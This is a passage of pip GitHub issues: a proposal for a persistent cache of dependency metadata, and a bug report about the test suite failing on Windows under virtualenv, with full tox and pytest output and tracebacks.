- multiple editables on the same line (`-e a -e b`) -> pick first one, ignore rest

To not let people believe that the other combinations work I suggest we raise an error when we detect these cases.
user: gaborbernat
labels: type: bug: A confirmed bug or unintended behavior
issue_9787: state: open
title: Theoretical idea: Persistent cache of dependency data
body: **What's the problem this feature will solve?**
A lot of pip's time is spent building projects to determine metadata. Often, that metadata then confirms that the package we're looking at isn't suitable, and we move on, wasting that effort.

**Describe the solution you'd like**
Pip could maintain a persistent cache mapping project name/version to metadata. Later builds would save time by not having to do the build. Debugging could be improved if we could ask the user to send a dump of their dependency cache. The cache could be instrumented with details like number of hits, to assess effectiveness.

If users were willing to publish cache dumps, collecting them would provide invaluable data on real-life metadata, without someone having to build all of PyPI. (Of course, it's also a privacy risk, so this would have to be very carefully managed).

**Alternative Solutions**
* [PEP 643](https://www.python.org/dev/peps/pep-0643/) and [PEP 621](https://www.python.org/dev/peps/pep-0621/) are long-term solutions, allowing pip to (sometimes) get metadata from sources without building. We could be waiting a *long* time for this to make a difference, though.
* Tell people to build wheels.
* Put up with slow runs in the presence of mostly-source projects with complex dependency trees.
* Cache metadata in memory. We already do this, I believe, and it doesn't seem to help much 🙁 

**Additional context**
A lot of developer time is spent fruitlessly discussing this. It could be argued that doing *something* is better than doing nothing.

Conversely, every time we try to insist that name/version should be a unique identifier, we get massive pushback over cases like development workflows, local patches, platform-specific metadata, etc., etc. A cache based on name/version has the potential to be incredibly fragile :-(

It wouldn't help in "throwaway" environments like CI, so there's the risk of surprises when CI is a lot slower than local installs.

Honestly, I don't actually think this idea is likely to work in practice. But I keep thinking about it and I wanted to get it written down once and for all.
user: pfmoore
issue_9767: state: open
title: Tests are broken on Windows when using virtualenv
body: ### Description

The tests ran with `tox -e py38` will fail due to problems of creating virtual environments on Windows. This happens with `virtualenv` and not when using `venv` (the `--use-venv` flag). One of the reasons is that `pyvenv.cfg` is not created. For more info, see comments on [this PR](https://github.com/pypa/pip/pull/9453).

### Expected behavior

Tests will run without problems.

### pip version

Commit d08f968

### Python version

3.8.5 64-bit

### OS

Windows

### How to Reproduce

1. Check out a recent version of `pip` from GitHub (commit d08f968)
2. Run tests with `tox -e py38 -- -n auto --exitfirst`


### Output

<details>
  <summary>tox output</summary>

```sh-session
(venv) PS C:\repos\pip> tox -e py38 -- -n auto --exitfirst
GLOB sdist-make: C:\repos\pip\setup.py
py38 recreate: C:\repos\pip\.tox\py38
py38 installdeps: -rC:\repos\pip/tools/requirements/tests.txt
py38 inst: C:\repos\pip\.tox\.tmp\package\2\pip-21.1.dev0.zip
py38 installed: apipkg==1.5,atomicwrites==1.4.0,attrs==20.3.0,cffi==1.14.5,colorama==0.4.4,coverage==5.5,cryptography==3.4.7,execnet==1.8.0,freezegun==1.1.0,iniconfig==1.1.1,packaging==20.9,pip @ file:///C:/repos/pip/.tox/.tmp/package/2/pip-21.1.dev0.zip,pluggy==0.13.1,pretend==1.0.9,py==1.10.0,pycparser==2.20,pyparsing==2.4.7,pytest==6.2.2,pytest-cov==2.11.1,pytest-forked==1.3.0,pytest-rerunfailures==9.1.1,pytest-xdist==2.2.1,python-dateutil==2.8.1,scripttest==1.3,setuptools==54.1.2,six==1.15.0,toml==0.10.2,virtualenv==16.7.10,Werkzeug==1.0.1,wheel==0.36.2
py38 run-test-pre: PYTHONHASHSEED='578'
py38 run-test-pre: commands[0] | python -c 'import shutil, sys; shutil.rmtree(sys.argv[1], ignore_errors=True)' 'C:\repos\pip/tests/data/common_wheels'
py38 run-test-pre: commands[1] | python 'C:\repos\pip/tools/tox_pip.py' wheel -w 'C:\repos\pip/tests/data/common_wheels' -r 'C:\repos\pip/tools/requirements/tests-common_wheels.txt'
Collecting setuptools>=40.8.0
Using cached setuptools-54.2.0-py3-none-any.whl (785 kB)
Collecting wheel
Using cached wheel-0.36.2-py2.py3-none-any.whl (35 kB)
Collecting coverage>=4.4
Using cached coverage-5.5-cp38-cp38-win_amd64.whl (211 kB)
Saved c:\repos\pip\tests\data\common_wheels\coverage-5.5-cp38-cp38-win_amd64.whl
Saved c:\repos\pip\tests\data\common_wheels\wheel-0.36.2-py2.py3-none-any.whl
Saved c:\repos\pip\tests\data\common_wheels\setuptools-54.2.0-py3-none-any.whl
py38 run-test: commands[0] | pytest -n auto --exitfirst
===================================================================== test session starts =====================================================================
platform win32 -- Python 3.8.5, pytest-6.2.2, py-1.10.0, pluggy-0.13.1
cachedir: .tox\py38\.pytest_cache
rootdir: C:\repos\pip, configfile: setup.cfg
plugins: cov-2.11.1, forked-1.3.0, rerunfailures-9.1.1, xdist-2.2.1
gw0 [2149] / gw1 [2149] / gw2 [2149] / gw3 [2149] / gw4 [2149] / gw5 [2149] / gw6 [2149] / gw7 [2149]
....E
=========================================================================== ERRORS ============================================================================
___________________________________________________ ERROR at setup of test_build_env_allow_only_one_install ___________________________________________________
[gw4] win32 -- Python 3.8.5 c:\repos\pip\.tox\py38\scripts\python.exe

request = <SubRequest 'virtualenv_template' for <Function test_build_env_allow_only_one_install>>
tmpdir_factory = TempdirFactory(_tmppath_factory=TempPathFactory(_given_basetemp=WindowsPath('C:/Users/niko/AppData/Local/Temp/pytest-o...t at 0x0000027410B3E8E0>, _basetemp=WindowsPath('C:/Users/niko/AppData/Local/Temp/pytest-of-niko/pytest-4/popen-gw4')))
pip_src = Path('C:\\Users\\niko\\AppData\\Local\\Temp\\pytest-of-niko\\pytest-4\\popen-gw4\\pip_src0\\pip_src')
setuptools_install = Path('C:\\Users\\niko\\AppData\\Local\\Temp\\pytest-of-niko\\pytest-4\\popen-gw4\\setuptools0\\install')
coverage_install = Path('C:\\Users\\niko\\AppData\\Local\\Temp\\pytest-of-niko\\pytest-4\\popen-gw4\\coverage0\\install')

  @pytest.fixture(scope="session")
  def virtualenv_template(
      request, tmpdir_factory, pip_src, setuptools_install, coverage_install
  ):

      if request.config.getoption("--use-venv"):
          venv_type = "venv"
      else:
          venv_type = "virtualenv"

      # Create the virtual environment
      tmpdir = Path(str(tmpdir_factory.mktemp("virtualenv")))
>       venv = VirtualEnvironment(tmpdir.joinpath("venv_orig"), venv_type=venv_type)

tests\conftest.py:342:
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 
tests\lib\venv.py:27: in __init__
  self._create()
tests\lib\venv.py:58: in _create
  _virtualenv.create_environment(
.tox\py38\lib\site-packages\virtualenv.py:1161: in create_environment
  install_python(home_dir, lib_dir, inc_dir, bin_dir, site_packages=site_packages, clear=clear, symlink=symlink)
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 

home_dir = 'C:\\Users\\niko\\AppData\\Local\\Temp\\pytest-of-niko\\pytest-4\\popen-gw4\\virtualenv0\\venv_orig'
lib_dir = 'C:\\Users\\niko\\AppData\\Local\\Temp\\pytest-of-niko\\pytest-4\\popen-gw4\\virtualenv0\\venv_orig\\Lib'
inc_dir = 'C:\\Users\\niko\\AppData\\Local\\Temp\\pytest-of-niko\\pytest-4\\popen-gw4\\virtualenv0\\venv_orig\\Include'
bin_dir = 'C:\\Users\\niko\\AppData\\Local\\Temp\\pytest-of-niko\\pytest-4\\popen-gw4\\virtualenv0\\venv_orig\\Scripts', site_packages = False, clear = False   
symlink = True

  def install_python(home_dir, lib_dir, inc_dir, bin_dir, site_packages, clear, symlink=True):
      """Install just the base environment, no distutils patches etc"""
      if sys.executable.startswith(bin_dir):
          print("Please use the *system* python to run this script")
          return

      if clear:
          rm_tree(lib_dir)
          # FIXME: why not delete it?
          # Maybe it should delete everything with #!/path/to/venv/python in it
          logger.notify("Not deleting %s", bin_dir)

      if hasattr(sys, "real_prefix"):
          logger.notify("Using real prefix %r", sys.real_prefix)
          prefix = sys.real_prefix
      elif hasattr(sys, "base_prefix"):
          logger.notify("Using base prefix %r", sys.base_prefix)
          prefix = sys.base_prefix
      else:
          prefix = sys.prefix
      prefix = os.path.abspath(prefix)
      mkdir(lib_dir)
      fix_lib64(lib_dir, symlink)
      stdlib_dirs = [os.path.dirname(os.__file__)]
      if IS_WIN:
          stdlib_dirs.append(join(os.path.dirname(stdlib_dirs[0]), "DLLs"))
      elif IS_DARWIN:
          stdlib_dirs.append(join(stdlib_dirs[0], "site-packages"))
      if hasattr(os, "symlink"):
          logger.info("Symlinking Python bootstrap modules")
      else:
          logger.info("Copying Python bootstrap modules")
      logger.indent += 2
      try:
          # copy required files...
          for stdlib_dir in stdlib_dirs:
              copy_required_files(stdlib_dir, lib_dir, symlink)
          # ...and modules
          copy_required_modules(home_dir, symlink)
          copy_license(prefix, home_dir, lib_dir, symlink)
      finally:
          logger.indent -= 2
      # ...copy tcl/tk
      if IS_WIN:
          copy_tcltk(prefix, home_dir, symlink)
      mkdir(join(lib_dir, "site-packages"))
      import site

      site_filename = site.__file__
      if site_filename.endswith(".pyc") or site_filename.endswith(".pyo"):
          site_filename = site_filename[:-1]
      elif site_filename.endswith("$py.class"):
          site_filename = site_filename.replace("$py.class", ".py")
      site_filename_dst = change_prefix(site_filename, home_dir)
      site_dir = os.path.dirname(site_filename_dst)
      writefile(site_filename_dst, SITE_PY)
      writefile(join(site_dir, "orig-prefix.txt"), prefix)
      site_packages_filename = join(site_dir, "no-global-site-packages.txt")
      if not site_packages:
          writefile(site_packages_filename, "")

      if IS_PYPY or IS_WIN:
          standard_lib_include_dir = join(prefix, "include")
      else:
          standard_lib_include_dir = join(prefix, "include", PY_VERSION + ABI_FLAGS)
      if os.path.exists(standard_lib_include_dir):
          copy_include_dir(standard_lib_include_dir, inc_dir, symlink)
      else:
          logger.debug("No include dir %s", standard_lib_include_dir)

      platform_include_dir = distutils.sysconfig.get_python_inc(plat_specific=1)
      if platform_include_dir != standard_lib_include_dir:
          platform_include_dest = distutils.sysconfig.get_python_inc(plat_specific=1, prefix=home_dir)
          if platform_include_dir == platform_include_dest:
              # Do platinc_dest manually due to a CPython bug;
              # not http://bugs.python.org/issue3386 but a close cousin
              platform_include_dest = subst_path(platform_include_dir, prefix, home_dir)
          if platform_include_dest:
              # PyPy's stdinc_dir and prefix are relative to the original binary
              # (traversing virtualenvs), whereas the platinc_dir is relative to
              # the inner virtualenv and ignores the prefix argument.
              # This seems more evolved than designed.
              copy_include_dir(platform_include_dir, platform_include_dest, symlink)

      # pypy never uses exec_prefix, just ignore it
      if os.path.realpath(sys.exec_prefix) != os.path.realpath(prefix) and not IS_PYPY:
          if IS_WIN:
              exec_dir = join(sys.exec_prefix, "lib")
          else:
              exec_dir = join(sys.exec_prefix, "lib", PY_VERSION)
          copy_required_files(exec_dir, lib_dir, symlink)

      mkdir(bin_dir)
      py_executable = join(bin_dir, os.path.basename(sys.executable))
      if "Python.framework" in prefix or "Python3.framework" in prefix:
          # OS X framework builds cause validation to break
          # https://github.com/pypa/virtualenv/issues/322
          if os.environ.get("__PYVENV_LAUNCHER__"):
              del os.environ["__PYVENV_LAUNCHER__"]
          if re.search(r"/Python(?:-32|-64)*$", py_executable):
              # The name of the python executable is not quite what
              # we want, rename it.
              py_executable = os.path.join(os.path.dirname(py_executable), "python")

      logger.notify("New %s executable in %s", EXPECTED_EXE, py_executable)
      pc_build_dir = os.path.dirname(sys.executable)
      pyd_pth = os.path.join(lib_dir, "site-packages", "virtualenv_builddir_pyd.pth")
      if IS_WIN and os.path.exists(os.path.join(pc_build_dir, "build.bat")):
          logger.notify("Detected python running from build directory %s", pc_build_dir)
          logger.notify("Writing .pth file linking to build directory for *.pyd files")
          writefile(pyd_pth, pc_build_dir)
      else:
          if os.path.exists(pyd_pth):
              logger.info("Deleting %s (not Windows env or not build directory python)", pyd_pth)
              os.unlink(pyd_pth)

      if sys.executable != py_executable:
          # FIXME: could I just hard link?
          executable = sys.executable
          shutil.copyfile(executable, py_executable)
          make_exe(py_executable)
          if IS_WIN or IS_CYGWIN:
              python_w = os.path.join(os.path.dirname(sys.executable), "pythonw.exe")
              if os.path.exists(python_w):
                  logger.info("Also created pythonw.exe")
                  shutil.copyfile(python_w, os.path.join(os.path.dirname(py_executable), "pythonw.exe"))
              python_d = os.path.join(os.path.dirname(sys.executable), "python_d.exe")
              python_d_dest = os.path.join(os.path.dirname(py_executable), "python_d.exe")
              if os.path.exists(python_d):
                  logger.info("Also created python_d.exe")
                  shutil.copyfile(python_d, python_d_dest)
              elif os.path.exists(python_d_dest):
                  logger.info("Removed python_d.exe as it is no longer at the source")
                  os.unlink(python_d_dest)

              # we need to copy the DLL to enforce that windows will load the correct one.
              # may not exist if we are cygwin.
              if IS_PYPY:
                  py_executable_dll_s = [("libpypy-c.dll", "libpypy_d-c.dll")]
              else:
                  py_executable_dll_s = [
                      ("python{}.dll".format(sys.version_info[0]), "python{}_d.dll".format(sys.version_info[0])),
                      (
                          "python{}{}.dll".format(sys.version_info[0], sys.version_info[1]),
                          "python{}{}_d.dll".format(sys.version_info[0], sys.version_info[1]),
                      ),
                  ]

              for py_executable_dll, py_executable_dll_d in py_executable_dll_s:
                  python_dll = os.path.join(os.path.dirname(sys.executable), py_executable_dll)
                  python_dll_d = os.path.join(os.path.dirname(sys.executable), py_executable_dll_d)
                  python_dll_d_dest = os.path.join(os.path.dirname(py_executable), py_executable_dll_d)
                  if os.path.exists(python_dll):
                      logger.info("Also created %s", py_executable_dll)
                      shutil.copyfile(python_dll, os.path.join(os.path.dirname(py_executable), py_executable_dll))
                  if os.path.exists(python_dll_d):
                      logger.info("Also created %s", py_executable_dll_d)
                      shutil.copyfile(python_dll_d, python_dll_d_dest)
                  elif os.path.exists(python_dll_d_dest):
                      logger.info("Removed %s as the source does not exist", python_dll_d_dest)
                      os.unlink(python_dll_d_dest)
          if IS_PYPY:
              # make a symlink python --> pypy-c
              python_executable = os.path.join(os.path.dirname(py_executable), "python")
              if IS_WIN or IS_CYGWIN:
                  python_executable += ".exe"
              logger.info("Also created executable %s", python_executable)
              copyfile(py_executable, python_executable, symlink)

              if IS_WIN:
                  for name in ["libexpat.dll", "libeay32.dll", "ssleay32.dll", "sqlite3.dll", "tcl85.dll", "tk85.dll"]:
                      src = join(prefix, name)
                      if os.path.exists(src):
                          copyfile(src, join(bin_dir, name), symlink)

                  for d in sys.path:
                      if d.endswith("lib_pypy"):
                          break
                  else:
                      logger.fatal("Could not find lib_pypy in sys.path")
                      raise SystemExit(3)
                  logger.info("Copying lib_pypy")
                  copyfile(d, os.path.join(home_dir, "lib_pypy"), symlink)

      if os.path.splitext(os.path.basename(py_executable))[0] != EXPECTED_EXE:
          secondary_exe = os.path.join(os.path.dirname(py_executable), EXPECTED_EXE)
          py_executable_ext = os.path.splitext(py_executable)[1]
          if py_executable_ext.lower() == ".exe":
              # python2.4 gives an extension of '.4' :P
              secondary_exe += py_executable_ext
          if os.path.exists(secondary_exe):
              logger.warn(
                  "Not overwriting existing {} script {} (you must use {})".format(
                      EXPECTED_EXE, secondary_exe, py_executable
                  )
              )
          else:
              logger.notify("Also creating executable in %s", secondary_exe)
              shutil.copyfile(sys.executable, secondary_exe)
              make_exe(secondary_exe)

      if ".framework" in prefix:
          original_python = None
          if "Python.framework" in prefix or "Python3.framework" in prefix:
              logger.debug("MacOSX Python framework detected")
              # Make sure we use the embedded interpreter inside
              # the framework, even if sys.executable points to
              # the stub executable in ${sys.prefix}/bin
              # See http://groups.google.com/group/python-virtualenv/
              #                              browse_thread/thread/17cab2f85da75951
              original_python = os.path.join(prefix, "Resources/Python.app/Contents/MacOS/Python")
          if "EPD" in prefix:
              logger.debug("EPD framework detected")
              original_python = os.path.join(prefix, "bin/python")
          shutil.copy(original_python, py_executable)

          # Copy the framework's dylib into the virtual
          # environment
          virtual_lib = os.path.join(home_dir, ".Python")

          if os.path.exists(virtual_lib):
              os.unlink(virtual_lib)
          lib_name = "Python3" if "Python3.framework" in prefix else "Python"
          copyfile(os.path.join(prefix, lib_name), virtual_lib, symlink)

          # And then change the install_name of the copied python executable
          search = (
              "@executable_path/../../../../Python3" if "Python3.framework" in prefix else os.path.join(prefix, lib_name)
          )
          # noinspection PyBroadException
          try:
              mach_o_change(py_executable, search, "@executable_path/../.Python")
          except Exception:
              e = sys.exc_info()[1]
              logger.warn("Could not call mach_o_change: %s. " "Trying to call install_name_tool instead.", e)
              try:
                  call_subprocess(["install_name_tool", "-change", search, "@executable_path/../.Python", py_executable])
              except Exception:
                  logger.fatal("Could not call install_name_tool -- you must " "have Apple's development tools installed")
                  raise

      if not IS_WIN:
          # Ensure that 'python', 'pythonX' and 'pythonX.Y' all exist
          py_exe_version_major = "python{}".format(sys.version_info[0])
          py_exe_version_major_minor = "python{}.{}".format(sys.version_info[0], sys.version_info[1])
          py_exe_no_version = "python"
          required_symlinks = [py_exe_no_version, py_exe_version_major, py_exe_version_major_minor]

          py_executable_base = os.path.basename(py_executable)

          if py_executable_base in required_symlinks:
              # Don't try to symlink to yourself.
              required_symlinks.remove(py_executable_base)

          for pth in required_symlinks:
              full_pth = join(bin_dir, pth)
              if os.path.exists(full_pth):
                  os.unlink(full_pth)
              if symlink:
                  os.symlink(py_executable_base, full_pth)
              else:
                  copyfile(py_executable, full_pth, symlink)

      cmd = [
          py_executable,
          "-c",
          "import sys;out=sys.stdout;" 'getattr(out, "buffer", out).write(sys.prefix.encode("utf-8"))',
      ]
      logger.info('Testing executable with %s %s "%s"', *cmd)
      try:
          proc = subprocess.Popen(cmd, stdout=subprocess.PIPE)
          proc_stdout, proc_stderr = proc.communicate()
      except OSError:
          e = sys.exc_info()[1]
          if e.errno == errno.EACCES:
              logger.fatal("ERROR: The executable {} could not be run: {}".format(py_executable, e))
              sys.exit(100)
          else:
              raise e

      proc_stdout = proc_stdout.strip().decode("utf-8")
      # normalize paths using realpath to ensure that a virtualenv correctly identifies itself even
      # when addressed over a symlink
      proc_stdout = os.path.normcase(os.path.realpath(proc_stdout))
      norm_home_dir = os.path.normcase(os.path.realpath(home_dir))
      if hasattr(norm_home_dir, "decode"):
          norm_home_dir = norm_home_dir.decode(sys.getfilesystemencoding())
      if proc_stdout != norm_home_dir:
          logger.fatal("ERROR: The executable %s is not functioning", py_executable)
          logger.fatal("ERROR: It thinks sys.prefix is {!r} (should be {!r})".format(proc_stdout, norm_home_dir))
          logger.fatal("ERROR: virtualenv is not compatible with this system or executable")
          if IS_WIN:
              logger.fatal(
                  "Note: some Windows users have reported this error when they "
                  'installed Python for "Only this user" or have multiple '
                  "versions of Python installed. Copying the appropriate "
                  "PythonXX.dll to the virtualenv Scripts/ directory may fix "
                  "this problem."
              )
>           sys.exit(100)
E           SystemExit: 100

.tox\py38\lib\site-packages\virtualenv.py:1711: SystemExit
-------------------------------------------------------------------- Captured stdout setup -------------------------------------------------------------------- 
ERROR: The executable C:\Users\niko\AppData\Local\Temp\pytest-of-niko\pytest-4\popen-gw4\virtualenv0\venv_orig\Scripts\python.exe is not functioning
ERROR: It thinks sys.prefix is 'c:\\repos\\pip' (should be 'c:\\users\\niko\\appdata\\local\\temp\\pytest-of-niko\\pytest-4\\popen-gw4\\virtualenv0\\venv_orig')ERROR: virtualenv is not compatible with this system or executable
Note: some Windows users have reported this error when they installed Python for "Only this user" or have multiple versions of Python installed. Copying the appropriate PythonXX.dll to the virtualenv Scripts/ directory may fix this problem.
-------------------------------------------------------------------- Captured stderr setup -------------------------------------------------------------------- 
No pyvenv.cfg file
====================================================================== warnings summary ======================================================================= 
.tox\py38\lib\site-packages\pip\_vendor\packaging\version.py:127: 1080 warnings
c:\repos\pip\.tox\py38\lib\site-packages\pip\_vendor\packaging\version.py:127: DeprecationWarning: Creating a LegacyVersion has been deprecated and will be removed in the next major release
  warnings.warn(

-- Docs: https://docs.pytest.org/en/stable/warnings.html
=================================================================== short test summary info =================================================================== 
ERROR tests/functional/test_build_env.py::test_build_env_allow_only_one_install - SystemExit: 100
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! stopping after 1 failures !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! xdist.dsession.Interrupted: stopping after 1 failures !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 
========================================================= 4 passed, 1080 warnings, 1 error in 43.74s ==========================================================
```
</details>

In addition, when tests are ran with `--use-venv`, there are still few failures. 

<details>
  <summary>tox output with `--use-venv` </summary>
  
```
PS C:\repos\pip> tox -e py38 -- --use-venv -n auto
GLOB sdist-make: C:\repos\pip\setup.py
py38 inst-nodeps: C:\repos\pip\.tox\.tmp\package\2\pip-21.1.dev0.zip
py38 installed: apipkg==1.5,atomicwrites==1.4.0,attrs==20.3.0,cffi==1.14.5,colorama==0.4.4,coverage==5.5,cryptography==3.4.7,execnet==1.8.0,freezegun==1.1.0,iniconfig==1.1.1,packaging==20.9,pip @ file:///C:/repos/pip/.tox/.tmp/package/2/pip-21.1.dev0.zip,pluggy==0.13.1,pretend==1.0.9,py==1.10.0,pycparser==2.20,pyparsing==2.4.7,pytest==6.2.2,pytest-cov==2.11.1,pytest-forked==1.3.0,pytest-rerunfailures==9.1.1,pytest-xdist==2.2.1,python-dateutil==2.8.1,scripttest==1.3,setuptools==47.1.0,six==1.15.0,toml==0.10.2,virtualenv==16.7.10,Werkzeug==1.0.1,wheel==0.36.2
py38 run-test-pre: PYTHONHASHSEED='528'
py38 run-test-pre: commands[0] | python -c 'import shutil, sys; shutil.rmtree(sys.argv[1], ignore_errors=True)' 'C:\repos\pip/tests/data/common_wheels'
py38 run-test-pre: commands[1] | python 'C:\repos\pip/tools/tox_pip.py' wheel -w 'C:\repos\pip/tests/data/common_wheels' -r 'C:\repos\pip/tools/requirements/tests-common_wheels.txt'
Collecting setuptools>=40.8.0
  Using cached setuptools-54.2.0-py3-none-any.whl (785 kB)
Collecting wheel
  Using cached wheel-0.36.2-py2.py3-none-any.whl (35 kB)
Collecting coverage>=4.4
  Using cached coverage-5.5-cp38-cp38-win_amd64.whl (211 kB)
Saved c:\repos\pip\tests\data\common_wheels\coverage-5.5-cp38-cp38-win_amd64.whl
Saved c:\repos\pip\tests\data\common_wheels\wheel-0.36.2-py2.py3-none-any.whl
Saved c:\repos\pip\tests\data\common_wheels\setuptools-54.2.0-py3-none-any.whl
py38 run-test: commands[0] | pytest --use-venv -n auto
===================================================================== test session starts =====================================================================
platform win32 -- Python 3.8.5, pytest-6.2.2, py-1.10.0, pluggy-0.13.1
cachedir: .tox\py38\.pytest_cache
rootdir: C:\repos\pip, configfile: setup.cfg
plugins: cov-2.11.1, forked-1.3.0, rerunfailures-9.1.1, xdist-2.2.1
gw0 [2149] / gw1 [2149] / gw2 [2149] / gw3 [2149] / gw4 [2149] / gw5 [2149] / gw6 [2149] / gw7 [2149]
s......................................................s................................................................s......ss...........s........... [  7%] 
.......s..............s.........xss............ss..s.s.ss...........................s....s...................s........................................... [ 14%]...........x...........X.X..............x........s............x................s....s....................s.............X.....s.....ss.s...ss...s........ [ 21%] 
s................s...........................sssssssss....s..s...s............................................................................ss.....s... [ 28%]....................................................................................s..............................................................F.... [ 35%]
F..F..............s.........................................................................................ss......................X..................F [ 42%]
..F..............................................s.ss...........................................ss...................................................... [ 49%] 
......................................................................................................................................................... [ 56%]........................................s........s.s.............ss.....................................s................................................ [ 63%].....ss.......................................s............................................................................s............................ [ 70%] 
....ssssss..........................................ss.........................................................................s........................ [ 77%] 
........................................s...............................s.....................................x.x.............x......................... [ 85%] 
......x.................................................................s..s..................................................................sssssss... [ 92%] 
..............ssssssss.........sss.........................s..................X...................s.s.s...........................................s..... [ 99%]
.........x..x....                                                                                                                                        [100%]
========================================================================== FAILURES ===========================================================================
__________________________________________________________________ test_log_command_success ___________________________________________________________________
[gw5] win32 -- Python 3.8.5 c:\repos\pip\.tox\py38\scripts\python.exe

fixed_time = None, tmpdir = Path('C:\\Users\\niko\\AppData\\Local\\Temp\\pytest-of-niko\\pytest-11\\popen-gw5\\test_log_command_success0')

    def test_log_command_success(fixed_time, tmpdir):
        """Test the --log option logs when command succeeds."""
        cmd = FakeCommand()
        log_path = tmpdir.joinpath('log')
        cmd.main(['fake', '--log', log_path])
        with open(log_path) as f:
>           assert f.read().rstrip() == '2019-01-17T06:00:37,040 fake'
E           AssertionError: assert '2019-01-17T08:00:37,040 fake' == '2019-01-17T06:00:37,040 fake'
E             - 2019-01-17T06:00:37,040 fake
E             ?             ^
E             + 2019-01-17T08:00:37,040 fake
E             ?             ^

tests\unit\test_base_command.py:105: AssertionError
-------------------------------------------------------------------- Captured stdout call --------------------------------------------------------------------- 
fake
___________________________________________________________________ test_log_command_error ____________________________________________________________________ 
[gw5] win32 -- Python 3.8.5 c:\repos\pip\.tox\py38\scripts\python.exe

fixed_time = None, tmpdir = Path('C:\\Users\\niko\\AppData\\Local\\Temp\\pytest-of-niko\\pytest-11\\popen-gw5\\test_log_command_error0')

    def test_log_command_error(fixed_time, tmpdir):
        """Test the --log option logs when command fails."""
        cmd = FakeCommand(error=True)
        log_path = tmpdir.joinpath('log')
        cmd.main(['fake', '--log', log_path])
        with open(log_path) as f:
>           assert f.read().startswith('2019-01-17T06:00:37,040 fake')
E           assert False
E            +  where False = <built-in method startswith of str object at 0x000001DE11822A60>('2019-01-17T06:00:37,040 fake')
E            +    where <built-in method startswith of str object at 0x000001DE11822A60> = '2019-01-17T08:00:37,040 fake\n2019-01-17T08:00:37,040 ERROR: Exception:\n2019-01-17T08:00:37,040 Traceback (most rece...nd.py", line 27, in run_func\n2019-01-17T08:00:37,040     raise SystemExit(1)\n2019-01-17T08:00:37,040 SystemExit: 1\n'.startswith
E            +      where '2019-01-17T08:00:37,040 fake\n2019-01-17T08:00:37,040 ERROR: Exception:\n2019-01-17T08:00:37,040 Traceback (most rece...nd.py", line 
27, in run_func\n2019-01-17T08:00:37,040     raise SystemExit(1)\n2019-01-17T08:00:37,040 SystemExit: 1\n' = <built-in method read of _io.TextIOWrapper object at 0x000001DE144EF110>()
E            +        where <built-in method read of _io.TextIOWrapper object at 0x000001DE144EF110> = <_io.TextIOWrapper name=Path('C:\\Users\\niko\\AppData\\Local\\Temp\\pytest-of-niko\\pytest-11\\popen-gw5\\test_log_command_error0\\log') mode='r' encoding='cp1252'>.read

tests\unit\test_base_command.py:114: AssertionError
-------------------------------------------------------------------- Captured stdout call --------------------------------------------------------------------- 
fake
-------------------------------------------------------------------- Captured stderr call --------------------------------------------------------------------- 
ERROR: Exception:
Traceback (most recent call last):
  File "c:\repos\pip\.tox\py38\lib\site-packages\pip\_internal\cli\base_command.py", line 180, in _main
    status = self.run(options, args)
  File "C:\repos\pip\tests\unit\test_base_command.py", line 40, in run
    return self.run_func()
  File "C:\repos\pip\tests\unit\test_base_command.py", line 27, in run_func
    raise SystemExit(1)
SystemExit: 1
---------------------------------------------------------------------- Captured log call ---------------------------------------------------------------------- 
DEBUG    pip._internal.configuration:configuration.py:281 For variant 'global', will try loading 'C:\ProgramData\pip\pip.ini'
DEBUG    pip._internal.configuration:configuration.py:281 For variant 'user', will try loading 'C:\Users\niko\AppData\Local\Temp\pytest-of-niko\pytest-11\popen-gw5\test_log_command_error0\home\pip\pip.ini'
DEBUG    pip._internal.configuration:configuration.py:281 For variant 'user', will try loading 'C:\Users\niko\AppData\Local\Temp\pytest-of-niko\pytest-11\popen-gw5\test_raise_broken_stdout0\home\AppData\Roaming\pip\pip.ini'
DEBUG    pip._internal.configuration:configuration.py:281 For variant 'site', will try loading 'c:\repos\pip\.tox\py38\pip.ini'
DEBUG    pip._internal.cli.parser:parser.py:199 Ignoring configuration key ':env:.use-feature' as it's value is empty.
DEBUG    pip._internal.cli.parser:parser.py:199 Ignoring configuration key ':env:.use-deprecated' as it's value is empty.
_________________________________________________________________ test_log_file_command_error _________________________________________________________________ 
[gw5] win32 -- Python 3.8.5 c:\repos\pip\.tox\py38\scripts\python.exe

fixed_time = None, tmpdir = Path('C:\\Users\\niko\\AppData\\Local\\Temp\\pytest-of-niko\\pytest-11\\popen-gw5\\test_log_file_command_error0')

    def test_log_file_command_error(fixed_time, tmpdir):
        """Test the --log-file option logs (when there's an error)."""
        cmd = FakeCommand(error=True)
        log_file_path = tmpdir.joinpath('log_file')
        cmd.main(['fake', '--log-file', log_file_path])
        with open(log_file_path) as f:
>           assert f.read().startswith('2019-01-17T06:00:37,040 fake')
E           assert False
E            +  where False = <built-in method startswith of str object at 0x000001DE118251C0>('2019-01-17T06:00:37,040 fake')
E            +    where <built-in method startswith of str object at 0x000001DE118251C0> = '2019-01-17T08:00:37,040 fake\n2019-01-17T08:00:37,040 ERROR: Exception:\n2019-01-17T08:00:37,040 Traceback (most rece...nd.py", line 27, in run_func\n2019-01-17T08:00:37,040     raise SystemExit(1)\n2019-01-17T08:00:37,040 SystemExit: 1\n'.startswith
E            +      where '2019-01-17T08:00:37,040 fake\n2019-01-17T08:00:37,040 ERROR: Exception:\n2019-01-17T08:00:37,040 Traceback (most rece...nd.py", line 
27, in run_func\n2019-01-17T08:00:37,040     raise SystemExit(1)\n2019-01-17T08:00:37,040 SystemExit: 1\n' = <built-in method read of _io.TextIOWrapper object at 0x000001DE144EF930>()
